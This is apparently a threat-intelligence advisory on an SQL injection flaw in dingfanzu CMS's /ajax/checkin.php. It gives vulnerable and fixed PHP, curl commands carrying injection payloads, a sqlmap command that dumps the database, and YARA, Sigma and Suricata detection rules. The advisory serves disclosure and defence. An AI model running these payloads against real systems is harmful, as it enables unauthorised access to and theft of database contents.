CVE-2024-8301

Executive Summary

CVE-2024-8301 is a critical SQL injection vulnerability in the dingfanzu CMS, specifically within the /ajax/checkin.php endpoint. The vulnerability allows an unauthenticated remote attacker to manipulate the username parameter, leading to arbitrary SQL query execution. This can result in full database compromise, including extraction of sensitive user data, credentials, and potential lateral movement within the network. The vendor uses a rolling release model and has not responded to disclosure attempts, leaving the product in an unpatched state. The exploit has been publicly disclosed, increasing the risk of widespread exploitation.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a custom PHP CMS. The rolling release model means there is no fixed version to reference, and the vendor's lack of response creates a supply chain risk for any organization using this software.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivial to exploit, requires no authentication, and can lead to total compromise of the CMS database.

Deep Dive & Mechanics

The vulnerability exists in the /ajax/checkin.php file. The username parameter is directly concatenated into an SQL query without proper sanitization or parameterization. An attacker can inject SQL commands by providing a crafted username value.

Vulnerable Code Snippet (Conceptual):

<?php
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
?>

The lack of prepared statements or input validation allows an attacker to break out of the string context and execute arbitrary SQL.

Attack Vector:

• Endpoint: /ajax/checkin.php
• Method: POST
• Parameter: username
• Example Payload: ' OR '1'='1' -- -

This payload would return all users from the database, bypassing authentication.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";

Patched Code (Conceptual):

$username = $_POST['username'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();

The patched version uses prepared statements, which separate SQL logic from data, preventing injection. Since no official patch exists, this is the recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running dingfanzu CMS with vulnerable commit.
• Network access to the /ajax/checkin.php endpoint.

Exploit Steps:

1. Identify the target endpoint: http://target.com/ajax/checkin.php
2. Send a POST request with a malicious username parameter.

Example using cURL:

curl -X POST http://target.com/ajax/checkin.php \
  -d "username=' OR '1'='1' -- -"

Advanced SQL Injection (Union-based):

curl -X POST http://target.com/ajax/checkin.php \
  -d "username=' UNION SELECT 1,2,3,4,5,6,7,8,9,10 -- -"

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/ajax/checkin.php" --data="username=test" --batch --dump

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /ajax/checkin.php with unusual username parameters containing SQL keywords (e.g., OR, AND, UNION, SELECT, --).
• Look for error messages in logs indicating SQL syntax errors.

Defense:

• Immediately isolate the CMS if possible.
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
• Apply input validation and parameterized queries as a permanent fix.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /ajax/checkin.php with username parameter containing SQL metacharacters (', ", --, #, /*).
• Outbound database connections from the web server to unexpected IPs (data exfiltration).

File IOCs:

• Modified /ajax/checkin.php file (if attacker uploads a webshell).
• Suspicious files in the web root (e.g., shell.php, cmd.php).

Log IOCs:

• Web server logs showing repeated 500 errors from /ajax/checkin.php.
• Database logs showing unusual queries (e.g., UNION SELECT, LOAD_FILE).

Detection Engineering

YARA Rule

rule CVE_2024_8301_SQLi_Checkin {
    meta:
        description = "Detects SQL injection attempts targeting dingfanzu CMS /ajax/checkin.php"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-8301"
    strings:
        $s1 = "/ajax/checkin.php" nocase
        $s2 = "username=" nocase
        $s3 = "' OR " nocase
        $s4 = "' UNION " nocase
        $s5 = "' AND " nocase
        $s6 = "--" nocase
        $s7 = "/*" nocase
    condition:
        $s1 and $s2 and (any of ($s3, $s4, $s5, $s6, $s7))
}

Sigma Rule

title: CVE-2024-8301 SQL Injection Attempt on dingfanzu CMS
id: 8a3f7c2e-1b5d-4a9e-8c6f-0d2e3f4a5b6c
status: experimental
description: Detects SQL injection attempts against /ajax/checkin.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/ajax/checkin.php"
        cs-method: "POST"
        cs-uri-query|contains|all:
            - "username="
            - "'"
    condition: selection
falsepositives:
    - Legitimate usernames containing apostrophes (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-8301 SQL Injection Attempt on dingfanzu CMS /ajax/checkin.php";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/ajax/checkin.php"; http_uri;
    content:"username="; http_client_body;
    pcre:"/username=[^&]*['\"]\s*(OR|AND|UNION|SELECT|--|\/\*)/i";
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate: Disconnect the CMS from the internet if possible.
2. WAF Rule: Deploy a WAF rule to block SQL injection patterns in the username parameter.
3. Input Validation: Implement server-side validation to reject any input containing SQL metacharacters.

Permanent Fix:

• Replace all dynamic SQL queries with prepared statements (parameterized queries).
• Since the vendor is unresponsive, consider forking the codebase and applying the fix yourself, or migrating to a different CMS.

Long-term Recommendations:

• Monitor for any official updates from dingfanzu (unlikely).
• Conduct a full security audit of the CMS.
• Implement a Content Security Policy (CSP) and other security headers.

Valters IT
DevSecOps & Cyber Threat Intelligence